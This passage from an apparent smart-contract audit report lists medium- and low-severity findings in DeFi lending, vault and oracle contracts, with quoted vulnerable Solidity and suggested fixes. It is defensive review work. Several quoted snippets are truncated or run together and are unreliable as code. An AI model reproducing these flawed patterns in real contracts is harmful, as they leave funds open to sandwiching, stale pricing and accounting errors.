            _processBurnFee(_feeTokens);
        }
        uint256 _il = indexTokens.length;
        for (uint256 _i; _i < _il; _i++) {
            uint256 _transferAmt = _firstIn
                ? getInitialAmount(_token, _amount, indexTokens[_i].token)
                // (_amount * FixedPoint96.Q96) / _totalAssets[_token];
 >>>            :
   (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
            _totalAssets[indexTokens[_i].token] += _transferAmt;
            _transferFromAndValidate(IERC20
              (indexTokens[_i].token), _user, _transferAmt);
        }
        _internalBond();
        emit Bond(_user, _token, _amount, _tokensMinted);
    }
```

Recommendations

Consider to revert when the calculated `_transferAmt` is 0.

[M-10] `_assetsUtilized` is obtained without calling `whitelistUpdate()`

Severity

Impact: Low

Likelihood: High

Description

`assetsUtilized` is obtained with the following calculation:

```
uint256 _assetsUtilized = externalAssetVault.vaultUtilization(address
      (this));
```

However, it does not call `whitelistUpdate()` on the vault to update the stored utilization values, so `_assetsUtilized` is out of date.

Recommendations

Call `externalAssetVault.whitelistUpdate(true)` before obtaining `_assetsUtilized` to ensure it is up to date.

[M-11] Observe might fail for newly created pools

Severity

Impact: High

Likelihood: Low

Description

The price of the quote token is fetched from the UniswapV3SinglePriceOracle.sol as follows -->

```
function _getSqrtPriceX96FromPool(IUniswapV3Pool _pool, uint32 _interval)
       public
       view
       returns (uint160 _sqrtPriceX96)
   {
       if (_interval == 0) {
           (_sqrtPriceX96,,,,,,) = _pool.slot0();
       } else {
           uint32[] memory secondsAgo = new uint32[](2);
           secondsAgo[0] = _interval;
           secondsAgo[1] = 0; // to (now)
           (int56[] memory tickCumulatives,) = _pool.observe(secondsAgo);
           int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
           int24 arithmeticMeanTick = int24(tickCumulativesDelta / int32
             (_interval));
           // Always round to negative infinity
           if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32
             (_interval) != 0)) arithmeticMeanTick--;
           _sqrtPriceX96 = TickMath.getSqrtRatioAtTick(arithmeticMeanTick);
       }
   }
```

... where the pool is the v3 pool where we get the TWAP to price the underlying TKN of the pod represented through SP_TKN and then convert it to the spTKN price, and we call the `observe` function on the pool to get the tick cumulative. But it is possible that the v3 pool does not have sufficient observations yet and in that case, the observation call would fail. A proper approach to handle this can be seen implemented here

Recommendation

Pools having insufficient observations should be handled as explained above.

[M-12] `whitelistUpdate()` not called on several operations

Severity

Impact: Medium

Likelihood: Medium

Description

Several operations in `FraxlendPairCore` access `_totalAssetAvailable`, which returns the total assets available in the pair, including assets in the `externalAssetVault` / `LendingAssetVault`, if configured.

```
function _totalAssetAvailable(
      VaultAccountmemory_totalAsset,
      VaultAccountmemory_totalBorrow,
      bool_includeVault
    )
        internal
        view
        returns (uint256)
    {
        if (_includeVault) {
            return _totalAsset.totalAmount(address
              (externalAssetVault)) - _totalBorrow.amount;
        }
        return _totalAsset.amount - _totalBorrow.amount;
    }
```

```
function totalAvailableAssetsForVault
      (address _vault) public view override returns (uint256 _totalVaultAvailable) {
        uint256 _overallAvailable = totalAvailableAssets();


                  _totalVaultAvailable = vaultMaxAllocation[_vault] > vaultUtilization[
            ? vaultMaxAllocation[_vault] - vaultUtilization[_vault]
            : 0;


                  _totalVaultAvailable = _overallAvailable < _totalVaultAvailable ? _ov
    }
```

`The totalAvailableAssetsForVault` depends on the `vaultUtilization` value of the vault, which should be updated after the interest in the `FraxlendPairCore` is updated. However, several functions that rely on the latest state (after the most recent interest update) access `externalAssetVault.totalAvailableAssetsForVault` without calling `whitelistUpdate`. As a result, these operations do not use the latest valid total available assets.

```
function _redeem(
        VaultAccount memory _totalAsset,
        uint128 _amountToReturn,
        uint128 _shares,
        address _receiver,
        address _owner,
        bool _skipAllowanceCheck
    ) internal {
        // Check for sufficient allowance/approval if necessary
        if (msg.sender != _owner && !_skipAllowanceCheck) {
            uint256 allowed = allowance(_owner, msg.sender);
            // NOTE: This will revert on underflow ensuring that allowance >
            // shares
            if (allowed != type(uint256).max) _approve
              (_owner, msg.sender, allowed - _shares);
        }

        // Check for sufficient withdraw liquidity
        //(not strictly necessary because balance will underflow)
>>>     uint256 _totAssetsAvailable = _totalAssetAvailable
  (_totalAsset, totalBorrow, true);
        if (_totAssetsAvailable < _amountToReturn) {
            revert InsufficientAssetsInContract
              (_totAssetsAvailable, _amountToReturn);
        }

        // If we're redeeming back to the vault, don't deposit from the vault
        if (_owner != address(externalAssetVault)) {
>>>         uint256 _localAssetsAvailable = _totalAssetAvailable
  (_totalAsset, totalBorrow, false);
            if (_localAssetsAvailable < _amountToReturn) {
                uint256 _vaultAmt = _amountToReturn - _localAssetsAvailable;
                _depositFromVault(_vaultAmt);

                // Rewrite to memory, now it's the latest value!
                _totalAsset = totalAsset;
            }
        }

        // ...
    }
```

```
function _borrowAsset(
      uint128_borrowAmount,
      address_receiver
    ) internal returns (uint256 _sharesAdded
        // Get borrow accounting from storage to save gas
        VaultAccount memory _totalBorrow = totalBorrow;

        // Check available capital
        //(not strictly necessary because balance will underflow, but better revert me
>>>     uint256 _totalAssetsAvailable = _totalAssetAvailable
  (totalAsset, _totalBorrow, true);
        if (_totalAssetsAvailable < _borrowAmount) {
            revert InsufficientAssetsInContract
              (_totalAssetsAvailable, _borrowAmount);
        }
>>>     uint256 _localAssetsAvailable = _totalAssetAvailable
  (totalAsset, _totalBorrow, false);
        if (_localAssetsAvailable < _borrowAmount) {
            uint256 _externalAmt = _borrowAmount - _localAssetsAvailable;
            _depositFromVault(_externalAmt);
        }

        // Calculate the number of shares to add based on the amount to borrow
        _sharesAdded = _totalBorrow.toShares(_borrowAmount, true);

       // ...
    }
```

Recommendations

Trigger `whitelistUpdate` in these functions before accessing `_totalAssetAvailable` if `externalAssetVault` / `LendingAssetVault` is configured.

[M-13] `vaultUtilization` is updated incorrectly

Severity

Impact: Medium

Likelihood: Medium

Description:

Inside the LendingAssetVault.sol a vault's utilization is updated inside the `_updateAssetMetadataFromVault` based on how much the CBR changed from the last update. In short, if the cbr decreased then the vault utilization would decrease and increase otherwise. The logic that handles this is (a snippet from the `_updateAssetMetadataFromVault`) -->

```
uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
            ? (
              (PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
            : (
              (PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;

        uint256 _currentAssetsUtilized = vaultUtilization[_vault];
        uint256 _changeUtilizedState =
          (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
        vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
            ? _currentAssetsUtilized < _changeUtilizedState
                ? _currentAssetsUtilized
```

It can be seen that if the cbr decreases and the decrease is more than the current utilization then the utilization stays the same, whereas in this case, the utilization should be 0 instead, keeping it the same in scenarios where cbr decreases abruptly would be wrong as in the accounting for vault deposit/withdraw would be incorrect.

Recommendation

Reset the vault utilization to 0 if the cbr decreased more than the vault's current utilization.

8.4. Low Findings

[L-01] Improper access control in `IndexManager.setAuthorized`

`setAuthorized` is a function that can be used to add or remove addresses from the `authorized` list. However, it has the `onlyAuthorized` modifier, which means an address about to be removed can add another address to the `authorized` list to prevent its removal. Consider restricting this function so that only the owner can call it.

[L-02] Bad debt in self-lending pairs cause more positions to be immediately liquidatable

When a bad debt liquidation occurs, the value of the lending pair's shares (fTokens) drops sharply.

This lowers the value of the collateral since the paired LP token is the fToken (so the fToken makes up half of the collateral aspTkn). Since collateral value dropped, this leads to more liquidatable positions.

This means that the account that performs the dirty/bad debt liquidation can atomically liquidate more positions, which were not liquidatable before the bad debt liquidation.

Marking as low since it can be mitigated by setting conservative max LTVs for such pools.

[L-03] Price from Chainlink via DIA Oracle might be stale

When fetching the price of the quote token via the DIA oracle, firstly the value of the quote token is fetched from the oracle, and then after that for the base conversion base pool price is fetched from the chainlink oracle via `_getChainlinkPriceFeedPrice18` -->

```
uint256 _basePrice18 = 10 ** 18;
        uint256 _updatedAt = block.timestamp;
        if (_clBaseConversionPoolPriceFeed != address(0)) {
            (
              _basePrice18,
              _updatedAt,
              _isBadData
            ) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed
        }
        _price18 = (_quotePrice8 * _basePrice18) / 10 ** 8;
    }
```

But we can see that the returned `_updatedAt` timestamp is not checked here (nor in the chainlink oracle contract) and therefore the base price might be a stale price from the past and therefore the resultant quote price would be calculated incorrectly.

Check if the `_updatedAt` is not too far from the past and within accepted bounds

[L-04] Incorrect shares if token is non-18 decimal

1.) When the total supply in the LendingAssetVault.sol is 0 it follows the following during the deposit flow -->

```
function deposit(uint256 _assets, address _receiver) external override returns
  (uint256 _shares) {
        _updateInterestAndMdInAllVaults(address(0));
        _shares = convertToShares(_assets);
        _deposit(_assets, _shares, _receiver);
    }
```

and convertToShares -->

```
function convertToShares(uint256 _assets) public view override returns
  (uint256 _shares) {
        _shares = (_assets * PRECISION) / _cbr();
    }
```

and `_cbr` is -->

```
function _cbr() internal view returns (uint256) {
        uint256 _supply = totalSupply();
        return _supply == 0 ? PRECISION : (PRECISION * _totalAssets) / _supply;
    }
```

2.) As we can see if the total supply is 0, cbr = PRECISION which is 1e27. Therefore inside `convertToShares` where the asset is a 6 decimal token, for example, the precision of the formula would be -->

1e6 * 1e27 / 1e27 = 1e6

Therefore the shares would be minted 1e12 times less than what they should have been (share token is 18 decimal).

Since this is only limited to the first deposit and the first deposit would be made by the owner of the factory the impact is limited here.

Handle the precision for the first deposit for non-18-decimal tokens properly.

[L-05] `AutoCompoundingPodLp` operations prone to sandwich attack

Key functions within `AutoCompoundingPodLp`, including `deposit`, `mint`, `withdraw`, and `redeem`, will trigger `_processRewardsToPodLp` during their operations, providing no slippage protection. Within `_processRewardsToPodLp`, several swap operations are performed, and without proper slippage protection, these operations are vulnerable to sandwich attacks.

```
function deposit(
      uint256_assets,
      address_receiver
    ) external override returns (uint256 _shares
>>>     _processRewardsToPodLp(0, block.timestamp);
        _shares = convertToShares(_assets);
        _deposit(_assets, _shares, _receiver);
    }
```

```
function mint(
      uint256_shares,
      address_receiver
    ) external override returns (uint256 _assets
>>>     _processRewardsToPodLp(0, block.timestamp);
        _assets = convertToAssets(_shares);
        _deposit(_assets, _shares, _receiver);
    }
```

```
function _withdraw(
      uint256_assets,
      uint256_shares,
      address_caller,
      address_owner,
      address_receiver
    ) internal {
        require(_shares != 0, "B");

        if (_caller != _owner) {
            _spendAllowance(_owner, _caller, _shares);
        }

>>>     _processRewardsToPodLp(0, block.timestamp);

        _totalAssets -= _assets;
        _burn(_owner, _shares);
        IERC20(_asset()).safeTransfer(_receiver, _assets);
        emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
    }
```

Consider implementing slippage protection within these functions. An oracle could be used to calculate the price and the expected minimum output, which can then be provided to `_processRewardsToPodLp`.

[L-06] Using outdated `SafeERC20` library

The project currently utilizes an outdated version of OpenZeppelin's `SafeERC20` library, which contains a known issue when interacting with certain tokens, such as USDT. Specifically, if a token has a non-zero allowance and the `approve(amount)` function is called, it may revert instead of successfully updating the allowance. This behavior can lead to unexpected results and potential denial-of-service (DoS) attacks, as the contract may be unable to approve necessary token transfers.

In more recent versions of OpenZeppelin, this issue has been addressed. The updated safeIncreaseAllowance() function first sets the allowance to zero before assigning a new positive value, thereby preventing the reversion issue and ensuring smoother token interactions.

Consider updating OpenZeppelin dependencies to the latest versions.

[L-07] Lack of update on behalf functionality in VotingPool

In the VotingPool.sol contract, the update function currently allows only the caller to update their own voting power, which can lead to unexpected behavior of the voting system. Users can tend to avoid updating their balances after the conversion factor updating or even frontrun the `addOrUpdateAsset` call with to gain advantages.

```
function update(address _asset) external returns
      (uint256 _convFctr, uint256 _convDenom) {
>>      return _update(_msgSender(), _asset, 0);
    }

    function _update(address _user, address _asset, uint256 _addAmt)
        internal
        returns (uint256 _convFctr, uint256 _convDenom)
    {
        require(assets[_asset].enabled, "E");
        (_convFctr, _convDenom) = _getConversionFactorAndDenom(_asset);
        Stake storage _stake = stakes[_user][_asset];

                 uint256 _den = _stake.stakedToOutputDenomenator > 0 ? _stake.stakedTo
        uint256 _mintedAmtBefore =
          (_stake.amtStaked * _stake.stakedToOutputFactor) / _den;
        _stake.amtStaked += _addAmt;
        _stake.stakedToOutputFactor = _convFctr;
        _stake.stakedToOutputDenomenator = _convDenom;
        uint256 _finalNewMintAmt = (_stake.amtStaked * _convFctr) / _convDenom;
        if (_finalNewMintAmt > _mintedAmtBefore) {
            _mint(_user, _finalNewMintAmt - _mintedAmtBefore);
>>      } else if (_mintedAmtBefore > _finalNewMintAmt) {
            if (_mintedAmtBefore - _finalNewMintAmt > balanceOf(_user)) {
                _burn(_user, balanceOf(_user));
            } else {
                _burn(_user, _mintedAmtBefore - _finalNewMintAmt);
            }
        }
        emit Update(_user, _asset, _convFctr, _convDenom);
    }
```

Consider implementing functionality for permissionless users balance updating when the `_mintedAmtBefore` value exceeds the calculated minted amount for the current `_convFctr` and `_convDenom` values.

[L-08] UniswapV3 pool might not necessarily support 1% fee tier

In the AutoCompoundingPodLp.sol while swapping the reward token to the pairedLpToken `_tokenToPairedLpToken` is invoked and for the swap it does the following ->

```
try DEX_ADAPTER.swapV3Single(
            _rewardsToken,
            _swapOutputTkn,
            REWARDS_POOL_FEE,
            _amountIn,
            0, // _amountOutMin can be 0 because this is nested inside of
            // function with LP slippage provided
            address(this)
        )
```

But it is not necessary that there exists a uniV3 pool of rewardToken/pairedLptoken that supports REWARDS_POOL_FEE which is hardcoded 1%, in that case, the swap would always fail for that reward token and would not be swapped for the pairedLpToken.

Ensure there exists a pool with the following config and ideally don't hardcode the fee tier of the pool.

[L-09] `previewMint()` rounding direction is incorrect

`FraxlendPairCore.previewMint` is a function used to calculate the amount of shares required to mint the provided `_shares`.

```
function previewMint(uint256 _shares) external view returns
      (uint256 _amount) {
        (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
        // @audit - should be true (roundup)
        _amount = _totalAsset.toAmount(_shares, false);
    }
```

However, the calculated `_amount` is rounded down instead of up, causing the returned amount to be incorrect and potentially leading to integration issues.

Update `FraxlendPairCore.previewMint` to the following :

```
function previewMint(uint256 _shares) external view returns
      (uint256 _amount) {
        (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
-        _amount = _totalAsset.toAmount(_shares, false);
+        _amount = _totalAsset.toAmount(_shares, true);
    }
```

[L-10] Some view functions do not consider accrued interest

`LendingAssetVault`'s `previewWithdraw`, `previewRedeem`, `maxWithdraw`, `maxRedeem`, `previewDeposit`, and `previewMint` are used to calculate the assets or shares required for withdrawal/redeem or mint/deposit operations. However, these functions currently do not consider the accrued interest from the vaults, causing integrators relying on these functions to interact with the `LendingAssetVault` to potentially use incorrect amounts.

Consider the accrued interest in the mentioned functions.

[L-11] `AutoCompoundingPodLp` vault does not follow the EIP4626

Under the 'Security Considerations' header, it states that shares/assets provided *to* the user should be rounded down, but should be rounded up when taken *from* the user.

In the `withdraw()` function, the calculation to obtain `_shares` (in `convertToShares()`) rounds down which goes against the recommendation in the spec. Similarly, the `mint()` function rounds down the assets required from the user to mint a certain number of shares.

It is recommended to use mulDiv() from the OpenZeppelin math library, setting the `rounding` parameter appropriately.

[L-12] Missed check of `BASE_CONVERSION_DIA_FEED` value

The `spTKNMinimalOracle.constructor` checks that `only one (or neither) of the base conversion config should be populated`. At the same time the check of `BASE_CONVERSION_DIA_FEED` variable is missed. This can cause misconfiguration of the contract. Consider adding the corresponding check.

```
constructor
      (bytes memory _requiredImmutables, bytes memory _optionalImmutables) {
<...>
        (
            BASE_CONVERSION_CHAINLINK_FEED,
            BASE_CONVERSION_CL_POOL,
>>          BASE_CONVERSION_DIA_FEED,
            CHAINLINK_BASE_PRICE_FEED,
            CHAINLINK_QUOTE_PRICE_FEED,
            _v2Reserves
        ) = abi.decode(_optionalImmutables,
          (address, address, address, address, address, address));
        V2_RESERVES = IV2Reserves(_v2Reserves);

        // only one
        //(or neither) of the base conversion config should be populated
>>      require(BASE_CONVERSION_CHAINLINK_FEED == address
  (0) || BASE_CONVERSION_CL_POOL == address(0), "CONV");
<...>
    function _getDefaultPrice18() internal view returns
      (bool _isBadData, uint256 _price18) {
        (_isBadData, _price18) = IMinimalSinglePriceOracle
          (UNISWAP_V3_SINGLE_PRICE_ORACLE).getPriceUSD18(

                        BASE_CONVERSION_CHAINLINK_FEED, UNDERLYING_TKN, UNDERLYING_TK
        );
        if (_isBadData) {
            return (true, 0);
        }

>>      if (BASE_CONVERSION_DIA_FEED != address(0)) {
            (
              bool_subBadData,
              uint256_baseConvPrice18
            ) = IMinimalSinglePriceOracle(DIA_SINGLE_PRICE_ORACLE
                .getPriceUSD18(address
                  (0), BASE_IN_CL, BASE_CONVERSION_DIA_FEED, 0);
            if (_subBadData) {
                return (true, 0);
            }
            _price18 = (10 ** 18 * _price18) / _baseConvPrice18;
>>      } else if (BASE_CONVERSION_CL_POOL != address(0)) {
            (
              bool_subBadData,
              uint256_baseConvPrice18
            ) = IMinimalSinglePriceOracle(UNISWAP_V3_SINGLE_PRICE_ORACLE
                .getPriceUSD18(address
                  (0), BASE_IN_CL, BASE_CONVERSION_CL_POOL, twapInterval);
            if (_subBadData) {
                return (true, 0);
            }
            _price18 = (10 ** 18 * _price18) / _baseConvPrice18;
        }
    }
```

[L-13] `convertToAssets` and `convertToShares` does not consider bond and debond fee

`convertToAssets` and `convertToShares` are used to calculate the shares/assets required for bonding/debonding. However, they do not account for the bond and debond fees, which could cause integrators relying on these functions to revert due to processing incorrect amounts.

[L-14] Call `_processRewardsToPodLp` in `setYieldConvEnabled()` call

In the AutoCompoundingPodLp.sol the owner can toggle off the yieldConvEnabled in that case shares would not accrue rewards, in the case where the admin is turning off the yieldConv the previous yield that would have been generated should be accounted for, therefore the function should first call the `_processRewardsToPodLp`, like this -->

```
function setYieldConvEnabled(bool _enabled) external onlyOwner {
        require(yieldConvEnabled != _enabled, "T");
        _processRewardsToPodLp();
        yieldConvEnabled = _enabled;
    }
```

[L-15] Using a fixed `slippage` variable for all pools

Different pools have different liquidity depths, so using the same `slippage` parameter when performing swaps is not optimal. For example, pools with deeper liquidity will have less price impact, but arbitrageurs can sandwich to steal up to the max slippage. For pools with less liquidity, the `slippage` parameter may need to be higher to accommodate for this.

It is recommended to have a mapping that stores slippage tolerance for each pair of tokens, with a fixed variable as a fallback.

[L-16] `selfLendingPod` can be any arbitrary contract

The creator of the leveraged position can pass in a `_selfLendingPairPod` which is not actually a pod. This is not immediately exploitable but is risky because the `LeverageManager` approves tokens to this arbitrary address here.

[L-17] `claimReward()` does not trigger process fees

When `claimReward` is called, it does not trigger `_processFeesIfApplicable`, as a result, the claimed fee possibly does not include the latest amount of reward that can be collected by the `_wallet`. Consider to trigger `_processFeesIfApplicable` when `TokenRewards.claimReward` is called.